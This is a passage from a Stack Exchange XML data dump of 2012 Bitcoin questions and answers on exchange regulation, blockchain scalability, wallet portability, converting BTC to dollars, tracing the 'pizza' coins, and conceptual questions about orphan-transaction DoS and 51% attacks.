0.76065   0.51328&#xA;Dec 11   2,768,500   118,263   105555.00 - 6705.00   0.76137   0.41685&#xA;&#xA;-date-   addresses    &amp;gt;1 BTC   1st - 100th richest   Gini &amp;gt;1   Gini100&#xA;Jan 12   2,956,869   123,003   105555.00 - 7000.00   0.76883   0.42408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-09T14:10:45.953" LastActivityDate="2012-02-09T14:10:45.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2882" PostTypeId="2" ParentId="337" CreationDate="2012-02-08T15:33:30.710" Score="4" Body="&lt;p&gt;The issue is not so much with the exchange itself but with the national currency bank accounts and payment mechanisms that provide for the two-way conversion into and out of the exchange. We must distinguish between floating-rate and fixed-rate exchanges. In the former, customers are placing funds to be held at the exchange. In the latter, customers are making an immediate one-time purchase. It is similar to the difference on eBay between auction bids and the &quot;Buy It Now&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A floating-rate exchange has to become a licensed entity itself or it has to contract with a third-party entity that is licensed to hold and segregate the customer funds. Currently, a fixed-rate exchange does not have to worry about that because they are not holding customer funds and they are selling a harmless crypto &quot;math puzzle&quot; or RPOW at a certain price known in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding jurisdiction on floating-rate exchange operators, I can only speak to the US and EU jurisdictions. The US is covered by Money Service Business regulations under the Department of the Treasury &lt;a href=&quot;http://www.fincen.gov/financial_institutions/msb/&quot; rel=&quot;nofollow&quot;&gt;http://www.fincen.gov/financial_institutions/msb/&lt;/a&gt;  whereas the EU is covered under the newly-revised e-Money Directive &lt;a href=&quot;http://ec.europa.eu/internal_market/payments/emoney/index_en.htm&quot; rel=&quot;nofollow&quot;&gt;http://ec.europa.eu/internal_market/payments/emoney/index_en.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, bear in mind that test cases have not been brought forward that specifically deal with the bitcoin exchange issue; however, some preliminary statements and guidance have suggested that this is how floating-rate exchanges will be interpreted by the respective jurisdictions and the banks are following that guidance.&lt;/p&gt;&#xA;" OwnerUserId="916" LastEditorUserId="916" LastEditDate="2012-02-09T11:17:33.080" LastActivityDate="2012-02-09T11:17:33.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2883" PostTypeId="1" AcceptedAnswerId="2888" CreationDate="2012-02-08T18:12:01.057" Score="7" ViewCount="1053" Body="&lt;p&gt;I have been looking into the Bitcoin protocol / algorithm a bit. I have the basics down, I think, but there are a lot of questions about how the whole thing is supposed to scale. For example,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Each client currently downloads the entire block chain, right? How is this scalable? They are supposed to be able to prune the Merkel trees, but I haven't gotten a good insight into how this works in P2P.&lt;/li&gt;&#xA;&lt;li&gt;What was the thought process behind tracking transactions the way they are? You kind of have to traverse a lot of that tree to validate new transactions? Right?&lt;/li&gt;&#xA;&lt;li&gt;Because of how a transaction ALWAYS needs to be confirmed (at least 6 times?) over P2P, the transfers are effectively far from instantaneous. There is a built in delay. Isn't this a problem? There is some delay already because of the nature of the algorithm that accepts the transaction into a block (solving the reverse hash).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="145" LastEditDate="2012-07-12T02:43:29.280" LastActivityDate="2012-07-12T08:31:18.167" Title="Bitcoin protocol / algorithm scalability" Tags="|protocol|algorithms|scalability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2884" PostTypeId="2" ParentId="2883" CreationDate="2012-02-08T18:18:43.477" Score="8" Body="&lt;p&gt;1) It's not clear why you think every client having to download the entire block chain is a scalability problem. Pruning currently doesn't take place but it should eventually be possible in theory. Storage space is growing at a much faster rate than Bitcoin is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) To validate a new transaction, the only transactions you have to look at are the inputs to make sure it validly claims them. Presumably, you already know every currently-valid transaction output already. You have to check a block in order to accept it anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) This is the nature of the way Bitcoin prevents double-spending attacks. It's because Bitcoin has adopted a &quot;no central authority at all&quot; approach. Nobody, as far as I know, knows a way to do instantaneous transactions without a central authority. (Consider, for example, if a natural disaster splits the Bitcoin network into two halves and each half sees a conflicting transaction. How would you know?)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-02-08T18:18:43.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2885" PostTypeId="2" ParentId="2878" CreationDate="2012-02-08T22:29:40.343" Score="2" Body="&lt;p&gt;Usually the worker's username is appended to your account username. So if my pool username is &lt;code&gt;nmat&lt;/code&gt;, my workers will be named &lt;code&gt;nmat_rig1&lt;/code&gt;, &lt;code&gt;nmat_rig2&lt;/code&gt;, &lt;code&gt;nmat_FPGA&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating multiple worker accounts is useful to control the performance of your rigs, but is not mandatory to use a different identifier for each machine. You can have all your rigs mining with the same username/password and the money will still end up in your account.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-02-08T22:29:40.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2886" PostTypeId="2" ParentId="2177" CreationDate="2012-02-09T02:26:51.850" Score="-3" Body="&lt;p&gt;There's a diagram explaining the process of hashing a transaction when creating or verifying the signature of a bitcoin transaction on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=29416.msg370321#msg370321&quot; rel=&quot;nofollow&quot;&gt;the forum&lt;/a&gt;, and a higher resolution version of the same image on &lt;a href=&quot;http://dl.dropbox.com/u/1139081/BitcoinImg/OpCheckSigDiagram.png&quot; rel=&quot;nofollow&quot;&gt;dropbox&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-09T02:26:51.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2887" PostTypeId="1" AcceptedAnswerId="2895" CreationDate="2012-02-09T04:56:39.647" Score="5" ViewCount="7207" Body="&lt;p&gt;I've been looking through the bitcoin wiki and googling isn't providing any useful results. Basically I'm looking for some way to deposit my BTC into my US bank account. Is there any service that can do this &lt;em&gt;without&lt;/em&gt; incurring massive processing fees or surcharges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I'm looking for the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Simple to use. Should not have to jump through hoops like signing up for paypal account or go through intermediate exchange like mtgox USD etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Preferably has a direct deposit method similar to how you might get payed from a job.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No fee or extra surcharges or kept to a minimal. Many of the exchange services I've looked at has wire-transfers but the associated fee makes it simply prohibitive especially for small BTC to USD transactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Doesn't necessarily have to be instant or fast.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="963" LastEditorUserId="963" LastEditDate="2012-02-09T06:37:22.653" LastActivityDate="2012-02-10T06:55:08.097" Title="What's the simplest way to deposit BTC into US Banking account with minimal fees?" Tags="|exchanges|currencies|services|" AnswerCount="3" CommentCount="6" ClosedDate="2013-11-12T18:27:41.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="2888" PostTypeId="2" ParentId="2883" CreationDate="2012-02-09T05:18:35.473" Score="8" Body="&lt;p&gt;It will not scale (to mass-market adoption) if you want to put all transactions directly into the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There needs to be a hierarchy of services built on top of the core protocol. In addition to improving scalability, they can also offer all kinds of features that some people need, such as reversible transaction, instant (no-confirmation) transfers, verified accounts, or anonymity. The blockchain would be used as a clearing house between those services. Most people would not need to interact directly with it, but they can still rely on the guarantees it provides to the economy backed by the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just because the underlying protocol is radically peer-to-peer does not mean that you cannot have hierarchies layered over it. Just because git is peer-to-peer does not mean that anyone has the same impact on Linux kernel development. In the Bitcoin world, there will still be banks for example, and credit cards, and insurance companies. The difference is that no matter how powerful those become, they cannot mess with the money supply (and create coins for themselves out of thin air). If they screw up enough that a large number of people stop trusting them, they can be cut out of the loop.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because of how a transaction ALWAYS needs to be confirmed (at least 6 times?) over P2P, the transfers are effectively far from instantaneous. There is a built in delay. Isn't this a problem? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The confirmations make it impossible for someone to double-spend. If you trust the other party enough, you do not have to wait for this. Same if you have other ways to get back at them if they do cheat. If you are a merchant, you can just calculate a percentage of fraud due to loss. Or take an insurance policy. Shop owners already do that in the real world (to mitigate theft), as do credit card processors. If you provide a service to them (like one month VPN), you can stop doing that if the payment &quot;bounces&quot;. If you ship physical goods, you can wait three hours for confirmation easily. You can buy and sell currencies instantaneously on trading platforms like MtGox (so you don't need to trust or even know who you are trading with, as long as you trust the platform).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Waiting for confirmations allows you to (in an automated fashion) accept payment from someone who you know nothing about, without trusting anyone else to vouchsafe, either. That is a nice extra feature of Bitcoin, but it comes in addition to &quot;real-world&quot; guarantees you already have.&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditDate="2012-02-09T05:39:10.080" LastActivityDate="2012-02-09T05:39:10.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2889" PostTypeId="2" ParentId="2887" CreationDate="2012-02-09T07:00:43.717" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] I'm looking for some way to deposit my BTC into my US bank&#xA;  account. Is there any service that can do this [...] ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In short, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your US bank account holds US dollars, not Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sell your Bitcoins for US dollars, and deposit the US dollars into your US bank account, but you can't deposit Bitcoins into US dollar bank accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just found the &lt;a href=&quot;https://bit-pay.com/cards.html&quot; rel=&quot;nofollow&quot;&gt;Bit-Pay Deposit Card&lt;/a&gt; which claims to allow you to &quot;Receive Bitcoins into your US Bank Account!&quot;  So perhaps that's what you are looking for.  There's also a &lt;a href=&quot;http://www.youtube.com/watch?v=3UmynaPg8hw&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt; about it.  Apparently &quot;the fees are 2.99% which includes the currency exchange and the next-day ACH&quot;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-09T08:51:01.807" LastActivityDate="2012-02-09T08:51:01.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2890" PostTypeId="1" CreationDate="2012-02-09T09:47:46.197" Score="5" ViewCount="226" Body="&lt;p&gt;Are there any free (e)books about Bitcoin? There are many articles, blogposts about it all over the internet. But is there actually any comprehensive book about it? Covering not only technical details, but also bitcoin history, social and economic aspects etc. Preferably under Creative Commons or some other free license.&lt;/p&gt;&#xA;" OwnerUserId="1043" LastEditorUserId="196" LastEditDate="2013-04-20T11:59:10.717" LastActivityDate="2013-04-20T11:59:10.717" Title="Any free books about Bitcoin?" Tags="|history|" AnswerCount="0" CommentCount="4" ClosedDate="2012-02-09T19:41:20.057" ContentLicense="CC BY-SA 3.0" />
  <row Id="2891" PostTypeId="1" AcceptedAnswerId="2894" CreationDate="2012-02-09T09:54:23.863" Score="7" ViewCount="1167" Body="&lt;p&gt;Is it possible to operate on the same wallet from multiple devices? If I run, for example Android on a device, and Windows/Linux on another, how do I share the same private key(s) of my wallet between these device so I can send money from any of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the wallet files someway interoperable between clients? Is there a dedicated import/export tool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mainly interested in &lt;a href=&quot;https://market.android.com/details?id=de.schildbach.wallet&quot;&gt;this&lt;/a&gt; client&lt;/p&gt;&#xA;" OwnerUserId="1042" LastEditorUserId="5406" LastEditDate="2016-02-02T16:41:50.690" LastActivityDate="2016-02-02T16:41:50.690" Title="Interoperability of Bitcoin clients" Tags="|wallet|windows|android|ios|shared-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2892" PostTypeId="2" ParentId="2684" CreationDate="2012-02-09T10:14:11.450" Score="1" Body="&lt;p&gt;The basic concept behind Bitcoin currency is &lt;strong&gt;distributed consensus&lt;/strong&gt;. Being a P2P protocol, each and every node &lt;strong&gt;is required&lt;/strong&gt; to obtain a full and global &lt;strong&gt;knowledge&lt;/strong&gt; of every &lt;em&gt;account&lt;/em&gt;'s (wallet) status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The differences with PayPal are easy to explain: in a client-server model, like your contractual relationship with your regular bank, the bank holds the huge database of all accounts of their customers, plus the transaction history with other banks. You, as a client, act as a thin client with knowledge limited to only your account. When you arequest a cashier an extract of your accoun't activities, or log in to your internet banking, a view on a database is triggered to obtain only your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin, that's completely different: there is no central data warehouse and the security principle is that &lt;em&gt;nobody fully trusts nobody unless a message is signed with corresponding private key&lt;/em&gt;. So, what else better storage rather than &lt;strong&gt;all&lt;/strong&gt; network nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases, the database still exists, but is located differently. Central VS distributed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me finish with a short answer, that may be the repetition of previous answers: In Bitcoin, when you receive a payment, &lt;strong&gt;you&lt;/strong&gt; have to validate that the sender account has enough money for the transaction to be valid (anyone could send an uncovered check else). The only 100% sure way is to check the transaction history for the sender to see if he really received the money he's sending to you from someone or from mining.&lt;/p&gt;&#xA;" OwnerUserId="1042" LastActivityDate="2012-02-09T10:14:11.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2893" PostTypeId="2" ParentId="1899" CreationDate="2012-02-09T10:39:01.920" Score="0" Body="&lt;p&gt;I believe there is a point of view from which things as loans, mortgages, etc. are impossible in a Bitcoin economy: and that is &lt;strong&gt;anonymity&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If two peers know each other in person, they could choose to agree on a mortgage contract if the currency was stable enough, or if there was a real Bitcoin economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose subject A has lots of coins, subject B wants to buy a house from C who accepts 1000 coins (probably he is able to make profit from selling a house for coins). B could request A to send him 1000 coins with promise of returning them plus interests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A is surely interested in making such profit, but must deal with the risk of B being unable to pay back. In current economy, a mortgage agreement is made with a contract that allows A to take property over the house in case B doesn't pay, with a court order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if we &lt;em&gt;suppose that a Bitcoin economy exist&lt;/em&gt; (there is lot of discussion about it) certainly these practices are possible, because instead of writing a check you could ask your destination's Bitcoin address, send the money and expect monthly payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Bitcoin is based on distribution, anonymity and &lt;strong&gt;absence of control&lt;/strong&gt;. Since transactions are final and not revokable, no authority in the Bitcoin's virtual world has the power of seizing property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lending Bitcoins is like lending a bike in exchange of it and some accessories, and Bitcoin can just be a currency like others when buying a house in a real-world economy with real-world regulations.&lt;/p&gt;&#xA;" OwnerUserId="1042" LastActivityDate="2012-02-09T10:39:01.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2894" PostTypeId="2" ParentId="2891" CreationDate="2012-02-09T16:46:47.247" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;You can use online wallet, like &lt;a href=&quot;https://strongcoin.com/&quot; rel=&quot;nofollow&quot;&gt;StrongCoin&lt;/a&gt;, then it doesn't matter where you access it from.&lt;/li&gt;&#xA;&lt;li&gt;You need to use an Android client that allows for private key import/export. I'm not sure which Android client does this, but for Windows/Linux you either can look for some tools for altering the wallet.dat for the standard Client, or use an alternative client with import functionality (as far as I remember, &lt;a href=&quot;http://multibit.org&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; can do that, but I'm not 100% sure).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-02-09T16:46:47.247" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2895" PostTypeId="2" ParentId="2887" CreationDate="2012-02-09T21:05:47.757" Score="1" Body="&lt;p&gt;Are you saying you don't want an intermediary because of the time required to administer the transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, then here's a solution for automating that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MagicalTux from Mt. Gox was acknowledging the need for the API to support creation of a bitcoin address where any coins received at that address are immediately sold at market.  Also discussed was the need for an account to be able to specify that once daily the account's USD balance would be swept to Dwolla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That combination will be among the least expensive methods for converting BTCs to USDs in an automated manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today the closest you can get to that is to create a separate account on Mt. Gox with no bitcoins and then create a large market sell order.  Whenever coins are received and confirmed, they will automatically be sold at market because of the open sell order.  Moving the funds to Dwolla periodically remains a manual step though.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-02-09T21:05:47.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2896" PostTypeId="1" CreationDate="2012-02-09T22:54:14.177" Score="1" ViewCount="486" Body="&lt;p&gt;Let's say I generated some coins with a given address and I want to send a specific amount of coins to a specific addresses, and move the remaining balance to another specific address. I want to do it all using bitcoind and an RPC call. It would be easy if it wasn't for the variable fee, based on the size of the transaction; just calculate the difference between what is in the first address and what needs to be paid out, and send the rest to the other address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to set an address in bitcoind that is to receive all the change, or to get some information on what the fee for the given transaction should be?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-04-01T08:35:29.327" LastActivityDate="2013-04-01T08:35:29.327" Title="Move all coins from an address via RPC" Tags="|transactions|bitcoind|bitcoin-core|json-rpc|transaction-fees|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2897" PostTypeId="1" CreationDate="2012-02-10T01:10:43.197" Score="3" ViewCount="402" Body="&lt;p&gt;The getmemorypool RPC command lists all transactions that are to be included in a block, with the exclusion of the generating transaction. In merged mining, one needs to add an extra transaction containing the hash of a Namecoin block to be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one uses the source code &lt;a href=&quot;http://dot-bit.org/Merged_Mining#Getting_the_source_code_.28pool_operators_only.29&quot; rel=&quot;nofollow&quot;&gt;provided from the Namecoin wiki&lt;/a&gt;, how would one merged mine? Is the metmemorypool transaction be supported? Would the special Namecoin transaction be included in the listed transactions?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-18T20:03:18.487" Title="How to merged mine with getmemorypool RPC command?" Tags="|bitcoind|namecoin|json-rpc|merged-mining|getmemorypool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2898" PostTypeId="1" AcceptedAnswerId="3324" CreationDate="2012-02-10T05:28:49.563" Score="5" ViewCount="445" Body="&lt;p&gt;When requesting getwork from bitcoind or a pool, the miner is expected to be incrementing the nonce value of the block, but can it also increment the timestamp value, or would such tempering cause a submitted work to be rejected by bitcoind or a given pool?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:23:15.207" LastActivityDate="2016-03-31T10:23:15.207" Title="Getwork - can the miner increment timestamp?" Tags="|bitcoind|mining-pools|mining-technical-details|getwork|timestamp|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2899" PostTypeId="2" ParentId="2887" CreationDate="2012-02-10T06:55:08.097" Score="1" Body="&lt;p&gt;If you want it simple, I think what you need is &lt;a href=&quot;https://get-bitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;https://get-bitcoin.com/&lt;/a&gt;. You can sell bitcoins directly to them, and they have a variety of US-centric payment options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to minimize fees, I don't think you can beat selling on Mt. gox, withdrawing to Dwolla, and transferring to your account with ACH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try looking at bitcoin-otc or the bitcointalk forum for people wishing to buy bitcoins from you with a payment method that is good for you.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-02-10T06:55:08.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2900" PostTypeId="2" ParentId="450" CreationDate="2012-02-10T07:50:15.943" Score="37" Body="&lt;p&gt;I've been playing with &lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gavin's &quot;bitcointools&quot;&lt;/a&gt; (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2828/how-many-bitcoin-addresses-are-have-been-carrying-a-balance&quot;&gt;again&lt;/a&gt;) to track what happened to the famous &quot;pizza&quot; Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that rather than being rare collector's items, the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=137.msg1195#msg1195&quot; rel=&quot;nofollow noreferrer&quot;&gt;10,000 BTC&lt;/a&gt; exchanged for &lt;a href=&quot;http://heliacal.net/~solar/bitcoin/pizza/&quot; rel=&quot;nofollow noreferrer&quot;&gt;two pizzas&lt;/a&gt; have spread out to over a million different Bitcoin addresses since buying the pizzas, not counting the dilute fragments that ended up in transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of block 166149, on Feb 10th 2012, 1,037,382 addresses have held the pizza coins since they were spent.  174,584 of those still hold pizza coins (the others may or may not be empty addresses, since it's possible to have two different transactions output to the same address without the coins becoming mixed together.  In other words it's possible to have &quot;pizza coins&quot; and &quot;non pizza coins&quot; in the same address and still be able to tell which are which.  Of the approximately 600k addresses which are currently holding funds, around 29% of them contain pizza coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shortest chain of transactions from the pizza purchase to currently held pizza coins has length 9, and the longest has length 6,723.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no currently unredeemed output which contains 100% pure pizza coins.  All the pizza coins have been diluted somewhat with other coins.  The purest remaining are &lt;a href=&quot;http://blockexplorer.com/t/A7RS7vqSx1&quot; rel=&quot;nofollow noreferrer&quot;&gt;these 100 BTC&lt;/a&gt; which are 90.7276% pure pizza coin, and just 11 transactions separated from the pizza transaction.  (The most recent 9 transactions each only have 1 input, so it's easy to follow it back that far.  In the next transaction back the pizza coins came from both the last but one input, worth 4223 BTC, and 5th from last input, worth 5777.  Together those 2 inputs make up the full 100% pure 10k BTC pizza coins.  The other inputs in this big transaction, worth 1022 BTC in total are the only non pizza coins introduced.  10000 * 100 / 11022 = 90.7276%, the purity). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also checked my wallet to see if I was holding any pizza coins.  8 of my addresses are holding pizza coins, but very diluted.  My 'strongest' has a purity of 1.1760%, and is a &lt;a href=&quot;http://blockexplorer.com/t/6cfKNoE1UR#o0&quot; rel=&quot;nofollow noreferrer&quot;&gt;tiny withdrawal&lt;/a&gt; I made from MtGox in October 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, here's some data showing the month-by-month spread of the pizza coins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pizza payment of 10000.00000000 BTC to 17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ&#xA;is in block 57043&#xA;&#xA;-block  --date--  --total--   ---used--%total-   -active---%total---%used-&#xA; 58815  May 2010          4         2 (50.00%)         4  100.00%  200.00%&#xA; 63561  Jun 2010          4         2 (50.00%)         0    0.00%    0.00%&#xA; 71436  Jul 2010         26         8 (30.77%)        24   92.31%  300.00%&#xA; 77452  Aug 2010         34        10 (29.41%)        13   38.24%  130.00%&#xA; 82997  Sep 2010        138        37 (26.81%)       106   76.81%  286.49%&#xA; 88892  Oct 2010      2,016       265 (13.14%)     1,898   94.15%  716.23%&#xA; 94801  Nov 2010      6,295       577 ( 9.17%)     4,428   70.34%  767.42%&#xA;100409  Dec 2010      7,510       835 (11.12%)     1,464   19.49%  175.33%&#xA;&#xA;-block  --date--  --total--   ---used--%total-   -active---%total---%used-&#xA;105570  Jan 2011     13,271     1,540 (11.60%)     6,150   46.34%  399.35%&#xA;111136  Feb 2011     19,055     2,632 (13.81%)     6,423   33.71%  244.03%&#xA;116038  Mar 2011     42,027     5,605 (13.34%)    24,341   57.92%  434.27%&#xA;121126  Apr 2011     69,544     9,085 (13.06%)    29,727   42.75%  327.21%&#xA;127865  May 2011    123,997    26,032 (20.99%)    57,911   46.70%  222.46%&#xA;134121  Jun 2011    249,138    54,047 (21.69%)   132,348   53.12%  244.88%&#xA;139035  Jul 2011    382,845    93,928 (24.53%)   146,156   38.18%  155.60%&#xA;143408  Aug 2011    494,140   108,340 (21.92%)   126,134   25.53%  116.42%&#xA;147565  Sep 2011    589,942   119,491 (20.25%)   111,178   18.85%   93.04%&#xA;151314  Oct 2011    680,787   131,370 (19.30%)   105,320   15.47%   80.17%&#xA;155451  Nov 2011    780,292   142,302 (18.24%)   114,013   14.61%   80.12%&#xA;160036  Dec 2011    885,172   156,321 (17.66%)   120,631   13.63%   77.17%&#xA;&#xA;-block  --date--  --total--   ---used--%total-   -active---%total---%used-&#xA;164780  Jan 2012    998,087   170,082 (17.04%)   136,985   13.72%   80.54%&#xA;&#xA;166149  Feb 2012  1,037,382   174,584 (16.83%)    54,346    5.24%   31.13%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: I just found these &lt;a href=&quot;http://blockexplorer.com/t/69fDjp12gB#o0&quot; rel=&quot;nofollow noreferrer&quot;&gt;100% pure allinvain coins&lt;/a&gt; - undiluted after 24 hops from when 25k BTC was &lt;a href=&quot;https://bitcointalk.org/index.php?topic=16457.msg214423#msg214423&quot; rel=&quot;nofollow noreferrer&quot;&gt;stolen from his computer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: I don't mean to imply that the allinvain coins haven't been thoroughly looted.  They have touched 755,796 different addresses since being stolen and are currently sitting in 109,235 different addresses, including 8 from my own personal wallet.  The exact same 8 as have pizza coins in them, it turns out.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-02-10T17:59:05.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2901" PostTypeId="1" AcceptedAnswerId="3075" CreationDate="2012-02-10T12:06:50.313" Score="8" ViewCount="221" Body="&lt;p&gt;I´m asking this because a possible attack would be to send an flooding number of orphan transactions, which will never be redeemed. Then clients would have to cache them, increasing storage requirements and reducing lookup time. This can lead to a resource-exhaustion attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a limit on the size of the cache, then a DoS can be mounted to exhaust the limit.&#xA;In both cases, a DoS attack can be mounted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no protection, adding a proof-of-work to each transaction would help to prevent such attack.&lt;/p&gt;&#xA;" OwnerUserId="638" LastEditorUserId="47827" LastEditDate="2021-05-24T11:04:02.993" LastActivityDate="2021-05-24T11:04:02.993" Title="Is there a limit on the number of orphan transactions a node can cache?" Tags="|transactions|cache|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2902" PostTypeId="2" ParentId="2776" CreationDate="2012-02-10T20:10:25.273" Score="1" Body="&lt;p&gt;Actually the bitcoin network hash rate is up nearly 100% since June 2011.&#xA;That is a very misleading chart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a more accurate view. Notice the clear uptrend starting Dec 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://blockchain.info/charts/hash-rate&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/hash-rate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1052" LastActivityDate="2012-02-10T20:10:25.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2903" PostTypeId="1" AcceptedAnswerId="2905" CreationDate="2012-02-10T22:02:32.927" Score="10" ViewCount="567" Body="&lt;p&gt;There is a lot of information on the 51% attack where an attacker is able to branch the chain and &quot;catch up&quot; and build a new branch that is longer than the old branch. Other than requiring more than 50% of the network's computing power, the biggest thing that makes this attack infeasible is that the further behind an attacker is, the harder it is to catch up. Some places say that this means that a payment receiver can simply wait for a couple of blocks to go by and by that time is becomes infeasible for an attacker to catch up from that far behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why would an attacker ever have to &quot;catch up&quot;? Couldn't an attacker with 51% of the network's power branch the chain as soon as a new block is released and work on that branch in secret? Then at any point the attacker could publish his branch, effectively reversing any transactions that occurred between the time he branched the chain and the time it is published to the network.&lt;/p&gt;&#xA;" OwnerUserId="1053" 